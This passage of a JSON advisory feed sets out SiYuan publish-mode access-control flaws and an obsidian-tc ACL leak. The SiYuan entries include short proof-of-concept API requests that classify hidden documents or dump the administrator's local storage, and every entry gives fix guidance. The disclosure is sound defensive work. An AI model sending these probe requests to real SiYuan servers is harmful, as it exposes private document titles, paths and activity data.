response carries `code:0`. The branch is:\n\n```go\nif item.Password == password {\n // SetPublishAuthCookie\n} else {\n ret.Msg = Conf.Language(285)\n}\n```\n\n**The cookie is issued for forbidden documents.** Entries at the hidden and forbidden tiers store `Password == \"\"`. A request with `password:\"\"` therefore makes `item.Password == password` true for them, and the handler takes the success branch. The server issues a publish-auth cookie for a document it otherwise treats as inaccessible.\n\nThe cookie itself confers nothing, because those tiers are decided before any password check elsewhere in the codebase. The defect is that the endpoint's success signal does not correspond to access being granted, and that signal is observable.\n\n**Three distinguishable outcomes.** With `password:\"\"`, one request per candidate identifier:\n\n| Tier of the target | `Set-Cookie` | Body |\n|---|---|---|\n| Public (no publish-access entry) | absent | `{\"code\":0,\"msg\":\"\"}` |\n| Nonexistent identifier | absent | `{\"code\":0,\"msg\":\"\"}` |\n| Password-protected | absent | `{\"code\":0,\"msg\":\"Password is incorrect\"}` |\n| Hidden | **present** | `{\"code\":0,\"msg\":\"\"}` |\n| Forbidden | **present** | `{\"code\":0,\"msg\":\"\"}` |\n\nPublic and nonexistent are indistinguishable from each other, which is correct. Everything else separates. A caller learns whether a given identifier names a password-protected document, or a document that exists at the hidden or forbidden tier, which is precisely the class the publish tiers exist to conceal.\n\n**Identifiers are readily available.** Document and block identifiers appear in the DOM of published pages, in reference and backlink payloads, and in annotation reference data. The caller does not need to guess them.\n\n**A fourth response on the development branch.** `IsEncryptedPublishRuntimeTarget` sets `ret.Code = -1`, which identifies the supplied identifier as belonging to an encrypted notebook. That is a membership oracle for encrypted notebooks, the same data class as `GHSA-f2rw-w22v-54vh`.\n\n### Proof of Concept\n\nPublish mode enabled, `Publish.Auth.Enable` false, anonymous client. One request per candidate identifier, all with an empty password:\n\n```\nPOST /api/filetree/authFilePublishAccess\n{\"id\":\" \",\"password\":\"\"}\n```\n\nComparing the response message and the presence of `Set-Cookie` against the table above classifies the identifier. Documents at the hidden and forbidden tiers return a publish-auth cookie and an empty message, distinguishing them both from public documents and from identifiers that name nothing at all.\n\n### Impact\n\nAn anonymous reader in publish mode, or any publish `RoleReader`, can classify arbitrary document identifiers by access tier and confirm the existence of documents at the hidden and forbidden tiers. On the development branch the same endpoint additionally reveals whether an identifier belongs to an encrypted notebook.\n\nScoped precisely: no document content is disclosed and no privilege is gained, since the issued cookie is inert for these tiers. The value is as a confirmation primitive, turning an identifier obtained elsewhere into a definite statement about a document the reader is not permitted to see.\n\nConfidentiality only, with no integrity or availability impact.\n\n### Suggested fix\n\nReturn an identical response for every failure and for every tier the caller may not access, with no `Set-Cookie` header and no distinguishing message. In particular, do not treat an empty stored password as a successful match: hidden and forbidden entries should short-circuit before the password comparison rather than satisfying it. The encrypted-notebook branch should return the same generic response as everything else rather than its own code.\n\nA rate limit on this endpoint would be a reasonable additional hardening measure, though it does not address the disclosure above.\n\nAffected package ranges reported by GitHub:\ngithub.com/siyuan-note/siyuan/kernel: < 0.0.0-20260731093152-c7522b8db586","action":"GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 0.0.0-20260731093152-c7522b8db586. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T18:31:42.000Z","updatedAt":"2026-10-23T18:31:45.000Z","regions":["Global"],"vendor":null,"product":"github.com/siyuan-note/siyuan/kernel","stacks":["Go modules","github.com/siyuan-note/siyuan/kernel","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-4pjg-x8qj-33j5","asOf":"2026-10-23T18:31:45.000Z"},"epss":{"probability":0.00343,"percentile":0.27548,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73630&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-4pjg-x8qj-33j5","url":"https://github.com/advisories/GHSA-4pjg-x8qj-33j5","type":"primary","publishedAt":"2026-10-23T18:31:42.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-4pjg-x8qj-33j5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-4pjg-x8qj-33j5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-4pjg-x8qj-33j5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-4pjg-x8qj-33j5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-4pjg-x8qj-33j5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-4pjg-x8qj-33j5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-4pjg-x8qj-33j5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-4pjg-x8qj-33j5, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73630&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73630, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73049","cveId":"CVE-2026-73049","aliases":["GHSA-p4qw-vx5p-g984"],"kind":"vulnerability","title":"SiYuan: The publish filter for database backlinks consults the forbidden list instead of the visibility list, disclosing hidden-tier documents to anonymous readers","summary":"`/api/av/getAttributeViewBacklinks` filters its results for reader roles through `FilterAttributeViewBacklinksByPublishAccess`. That function resolves its ignore list with `GetDisablePublishAccess`, which covers only the forbidden tier. Documents at the hidden tier are absent from that list, so they pass the check.\n\nThe result is that an anonymous reader supplying a publicly visible database row receives the database name, row title and document path of rows in hidden documents that reference it.","detail":"### Summary\n\n`/api/av/getAttributeViewBacklinks` filters its results for reader roles through `FilterAttributeViewBacklinksByPublishAccess`. That function resolves its ignore list with `GetDisablePublishAccess`, which covers only the forbidden tier. Documents at the hidden tier are absent from that list, so they pass the check.\n\nThe result is that an anonymous reader supplying a publicly visible database row receives the database name, row title and document path of rows in hidden documents that reference it.\n\nThe rest of the function is correct. It takes `*gin.Context` and calls `GetPathPasswordByPublishAccess` and `CheckPublishAuthCookie` at all four decision points, so the password-protected and private tiers are properly enforced. The defect is the choice of list, on one line.\n\n### Details\n\n**Route,** `kernel/api/router.go:545` on the development branch and `:527` on master:\n\n```go\nginServer.Handle(\"POST\", \"/api/av/getAttributeViewBacklinks\", model.CheckAuth, getAttributeViewBacklinks)\n```\n\n`CheckAuth` only. No `CheckAdminRole`, no `CheckReadonly`.\n\n**The defect.** In `FilterAttributeViewBacklinksByPublishAccess` (`kernel/model/publish_access.go:1060` on dev, `:435` on master):\n\n```go\npublishIgnore := GetDisablePublishAccess(publishAccess)\n```\n\n`GetDisablePublishAccess` returns only entries at the forbidden tier. A hidden document has `visible:false`, `password:\"\"`, `disable:false`, so it does not appear in that list. `CheckPathAccessableByPublishIgnore` therefore returns true for it, and because the password is empty the authentication branch short-circuits. Hidden documents pass both halves of the check.\n\n**The sibling filter uses the correct list.** The regular backlink panel is the same product feature in the same UI, and it is gated properly. `kernel/api/ref.go:170` `getBacklink2` calls `FilterPathsByPublishAccess`, which at `kernel/model/publish_access.go:1256` resolves its list with `GetInvisiblePublishAccess`. Two backlink filters in the same file, opposite list choices.\n\n**The distinction the tiers are meant to draw.** The shipped description of the hidden tier, from `app/appearance/langs/en.json`:\n\n```\npublishAccessHiddenComment = \"Not publicly visible, can be accessed directly.\"\n```\n\nA direct-access endpoint using the forbidden list is consistent with that: hidden documents are meant to be reachable when the caller already knows the identifier. Backlink discovery is not direct access. The caller supplies the target row and receives the identities of referring rows it never named, which is enumeration, and enumeration is precisely what \"not publicly visible\" excludes.\n\n**Origin.** The filter was introduced by `6da2c736e` (2026-07-18, \"Show database relation backlinks in the attribute panel\", #10599) with this list choice from the start. No security-focused commit has touched the attribute-view backlink path since.\n\n**What is returned.** Per matched backlink: `AvName` (the database name), `Title` (the row title), `DatabasePath` (the HPath of the containing document), `BoxID`, `DatabaseBlockID`, and `Relations[].KeyName`. These are author-written names and titles, not opaque identifiers.\n\n### Proof of Concept\n\nPublish mode enabled, `Publish.Auth.Enable` false, anonymous client with no credentials or cookies. Document A is public and holds a database with a row. Document B is set to varying tiers and holds a database whose relation field points at A's row. The attacker needs only A's `avID` and `itemID`, both present in the DOM of A's own published page.\n\nListing control first, establishing that the platform agrees B must not be listed:\n\n```\nPOST /api/filetree/listDocsByPath\n→ returns only the public document\n```\n\nThen the same backlinks request at four tier settings, spaced to clear the 30-second `GetPublishAccess()` cache:\n\n| Tier of document B | Result |\n|---|---|\n| Hidden (`visible:false`, no password, `disable:false`) | `total:1`, with `avName`, `title`, `databasePath` and `relations[].keyName` for the row in B |\n| Forbidden (`disable:true`) | `total:0` |\n| Private (password set) | `total:0` |\n| Hidden again (restored) | `total:1`, reproducible |\n\nThe forbidden row confirms that the disable list is what the filter consults. The private row confirms that the password half works correctly. The gap is the hidden tier alone.\n\n```\nPOST /api/av/getAttributeViewBacklinks\n{\"avID\":\" \",\"itemID\":\" \"}\n\n→ 200, total:1, disclosing the database name, row title and document path\n of a document the same session cannot list\n```\n\n### Impact\n\nAn anonymous reader in publish mode, or any publish `RoleReader`, discovers that a hidden document contains a database row referencing a public one, and receives that row's title, its database's name, and the containing document's path. Names and titles are author-written and routinely describe their subject, so this discloses both the existence and the topic of documents the author marked as not publicly visible.\n\nThe reader does not need to know anything about the hidden document beforehand. The only input is a public row identifier taken from a page they are already entitled to view.\n\nConfidentiality only, with no integrity or availability impact. No document body content is returned.\n\n### Suggested fix\n\nChange the list resolution in `FilterAttributeViewBacklinksByPublishAccess` to `GetInvisiblePublishAccess`, mirroring `FilterPathsByPublishAccess` on the regular backlink path. The password handling in the function is already correct and needs no change.\n\nAffected package ranges reported by GitHub:\ngithub.com/siyuan-note/siyuan/kernel: < 0.0.0-20260730150429-5b42614311b0","action":"GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 0.0.0-20260730150429-5b42614311b0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T18:30:42.000Z","updatedAt":"2026-10-23T18:30:45.000Z","regions":["Global"],"vendor":null,"product":"github.com/siyuan-note/siyuan/kernel","stacks":["Go modules","github.com/siyuan-note/siyuan/kernel","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-p4qw-vx5p-g984","asOf":"2026-10-23T18:30:45.000Z"},"epss":{"probability":0.00325,"percentile":0.25308,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73049&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-p4qw-vx5p-g984","url":"https://github.com/advisories/GHSA-p4qw-vx5p-g984","type":"primary","publishedAt":"2026-10-23T18:30:42.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-p4qw-vx5p-g984, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-p4qw-vx5p-g984, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-p4qw-vx5p-g984, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-p4qw-vx5p-g984, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-p4qw-vx5p-g984, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-p4qw-vx5p-g984, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-p4qw-vx5p-g984, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-p4qw-vx5p-g984, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73049&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73049, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-xp3q-r38w-vgqm","cveId":null,"aliases":[],"kind":"vulnerability","title":"SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized","summary":"That advisory concerned the administrator's live UI layout, and commit `63c7d5474` resolved it by removing `FilterUILayoutByPublishIgnore` and nulling `Conf.UILayout` for readers. That fix is correct and complete for the live layout.\n\nThis report concerns a different endpoint, a different filter function and a different storage backing. `/api/storage/getLocalStorage` reads `data/storage/local.json` rather than `Conf.UILayout`, and its filter `FilterLocalStorageByPublishAccess` was not touched by that commit. The consequence is that the same serialized tab objects the earlier fix withheld continue to be served, from the closed-tab history rather than the live layout.","detail":"### Relationship to GHSA-hgfg-j9pg-43xw\n\nThat advisory concerned the administrator's live UI layout, and commit `63c7d5474` resolved it by removing `FilterUILayoutByPublishIgnore` and nulling `Conf.UILayout` for readers. That fix is correct and complete for the live layout.\n\nThis report concerns a different endpoint, a different filter function and a different storage backing. `/api/storage/getLocalStorage` reads `data/storage/local.json` rather than `Conf.UILayout`, and its filter `FilterLocalStorageByPublishAccess` was not touched by that commit. The consequence is that the same serialized tab objects the earlier fix withheld continue to be served, from the closed-tab history rather than the live layout.\n\n### Summary\n\nThree routes, `/api/storage/getLocalStorage`, `getLocalStorageVal` and `getLocalStorageVals`, are registered with `CheckAuth` only and are reachable by the publish `RoleReader` token and anonymously when `Publish.Auth.Enable` is `false`. All three call `model.GetLocalStorage()` and then, for read-only roles, `FilterLocalStorageByPublishAccess`.\n\nThat filter begins by assigning the administrator's entire storage map to its return value and then removes three specific fields. Everything else in the map is returned unmodified. A single unauthenticated POST with an empty body returns the administrator's recently closed tabs with their document titles and identifiers, their current search keywords and the paths those searches cover, the expanded private paths in their file tree, and per-document identifiers from several other keys.\n\n### Details\n\n**Routes.** `kernel/api/router.go:87-89` on master, the same block on the development branch:\n\n```go\nginServer.Handle(\"POST\", \"/api/storage/getLocalStorage\", model.CheckAuth, getLocalStorage)\nginServer.Handle(\"POST\", \"/api/storage/getLocalStorageVal\", model.CheckAuth, getLocalStorageVal)\nginServer.Handle(\"POST\", \"/api/storage/getLocalStorageVals\", model.CheckAuth, getLocalStorageVals)\n```\n\nNo `CheckAdminRole`, no `CheckReadonly`.\n\n**The filter is an allowlist inverted into a blocklist.** `kernel/model/publish_access.go:911` on master and `:1481` on the development branch, byte-identical on both:\n\n```go\nfunc FilterLocalStorageByPublishAccess(publishAccess PublishAccess, localStorage map[string]any) (ret map[string]any) {\n ret = localStorage // the entire administrator map\n publishIgnore := GetInvisiblePublishAccess(publishAccess)\n // clears local-searchkeys[\"keys\"]\n // clears local-searchasset[\"k\"] and [\"keys\"]\n // blanks local-docinfo[\"id\"], only when bt != nil, visible tier only, no password check\n return\n}\n```\n\n`local.json` holds roughly thirty keys. Three are sanitized. The rest are returned as stored.\n\n**What survives.** Taking the client's own list of keys it round-trips through this endpoint (`app/src/protyle/util/compatibility.ts:563`), the notable survivors are:\n\n- `local-closed-tabs`. Up to `SIZE_UNDO` entries, each produced by `layoutToJSON(item, tabJSON)` at `app/src/layout/Wnd.ts:779`. This is the same serializer that produced the data in the earlier advisory: tab title, `docIcon`, `rootId`, `notebookId`, `blockId`, `mode`, `action`, and for a Search tab the entire config object. Unfiltered.\n- `local-searchdata`. The live document-search configuration, including `k` (the search text), `r` (replace text), `hPath`, `idPath` (the paths the search was scoped to) and `types`. Note the filter clears the search *history* array and the *asset*-search keyword, but leaves the document-search keyword itself. The project's own standard is applied to two of the three related fields.\n- `local-filespaths`. `IFilesPath[]` of `{notebookId, openPaths[]}`, the expanded private notebook and folder paths in the file-tree dock.\n- `local-fileposition`, `local-outline`, `local-zoom`. Keyed by document or block identifier, so each discloses private document identifiers.\n- `local-move-path`. `{keys[], k}`, the move-document dialog's path history and last keyword.\n- `local-recent-docs`, `local-history`, `local-flashcard`, `local-dailynoteid`, `local-layouts`.\n\n**The asymmetry is visible in the function signature.** In the same file, `kernel/api/storage.go`:\n\n| Handler | Filter | Receives `*gin.Context` |\n|---|---|---|\n| `getCriteria` | `FilterCriteriaByPublishAccess(c, ...)` | yes |\n| `getRecentDocs` | `FilterRecentDocsByPublishAccess(c, ...)` | yes |\n| `getLocalStorage` / `Val` / `Vals` | `FilterLocalStorageByPublishAccess(publishAccess, data)` | no |\n\nThe two sibling filters take the request context and can therefore call `CheckPublishAuthCookie` to evaluate the password tier. `FilterLocalStorageByPublishAccess` does not receive the context, so it cannot perform that check at all. The visible-only limitation is fixed in the parameter list rather than in the body.\n\nSeparately, `local-recent-docs` passes through this endpoint unfiltered, which bypasses the dedicated `FilterRecentDocsByPublishAccess` that guards the same data on `getRecentDocs`.\n\n**Note on a prior assessment.** `getLocalStorage` appears on lists of endpoints considered correctly filtered, on the basis that it calls a `Filter*ByPublishAccess` function. That observation is accurate and this report does not contradict it. The filter is called. What it does is assign the whole map and remove three fields.\n\n**No persistence side effect.** The in-place mutations the filter performs do not corrupt the administrator's stored state, because `GetLocalStorage` re-reads and unmarshals `storage/local.json` on each call (`kernel/model/storage.go:82`), so the map is per-request. This is noted to pre-empt the concern rather than as part of the finding.\n\n### Proof of Concept\n\nPrecondition: publish mode enabled (default port 6808), anonymous when `Publish.Auth.Enable` is `false`, otherwise any publish reader account. An administrator who has used the client normally, closing some document tabs and running a search.\n\n```\nPOST http://127.0.0.1:6808/api/storage/getLocalStorage\n{}\n\n→ 200. The returned map \n\nAffected package ranges reported by GitHub:\ngithub.com/siyuan-note/siyuan/kernel: < 0.0.0-20260729005258-4daee87d4152","action":"GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 0.0.0-20260729005258-4daee87d4152. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T18:29:45.000Z","updatedAt":"2026-10-23T18:29:47.000Z","regions":["Global"],"vendor":null,"product":"github.com/siyuan-note/siyuan/kernel","stacks":["Go modules","github.com/siyuan-note/siyuan/kernel","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-xp3q-r38w-vgqm","asOf":"2026-10-23T18:29:47.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-xp3q-r38w-vgqm","url":"https://github.com/advisories/GHSA-xp3q-r38w-vgqm","type":"primary","publishedAt":"2026-10-23T18:29:45.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-xp3q-r38w-vgqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-xp3q-r38w-vgqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-xp3q-r38w-vgqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-xp3q-r38w-vgqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-xp3q-r38w-vgqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-xp3q-r38w-vgqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-xp3q-r38w-vgqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-xp3q-r38w-vgqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-xp3q-r38w-vgqm, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77362","cveId":"CVE-2026-77362","aliases":["GHSA-43r2-c7g8-prc8"],"kind":"vulnerability","title":"obsidian-tc Bridge tools leak denied-note data via unfiltered sibling fields","summary":"obsidian-tc Bridge tools leak denied-note data via unfiltered sibling fields","detail":"### Impact\nBridge tool results filtered only the `items` array against the read ACL and passed sibling fields through unfiltered: `tasks_filter` emitted `groups` whose counts reflected denied notes, `makemd_query` returned `...result` siblings, and `list_templates` enumerated Templater template paths and parsed user-function bodies with no read-whitelist gate. A caller could infer or read data from notes outside its read ACL.\n\n### Patches\nFixed in **1.3.1**. Upgrade to `>= 1.3.1`. All path-attributable fields are now scrubbed or fail-closed, and `list_templates` is gated on the read whitelist.\n\n### Workarounds\nDisable the affected bridge tools (`tasks_filter`, `makemd_query`, `list_templates`) via tool visibility.\n\nAffected package ranges reported by GitHub:\nobsidian-tc: < 1.3.1","action":"GitHub lists first patched versions: obsidian-tc: 1.3.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T18:28:14.000Z","updatedAt":"2026-10-23T18:28:14.000Z","regions":["Global"],"vendor":null,"product":"obsidian-tc","stacks":["JavaScript packages (npm)","obsidian-tc","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-43r2-c7g8-prc8","asOf":"2026-10-23T18:28:14.000Z"},"epss":{"probability":0.002,"percentile":0.09686,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77362&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory 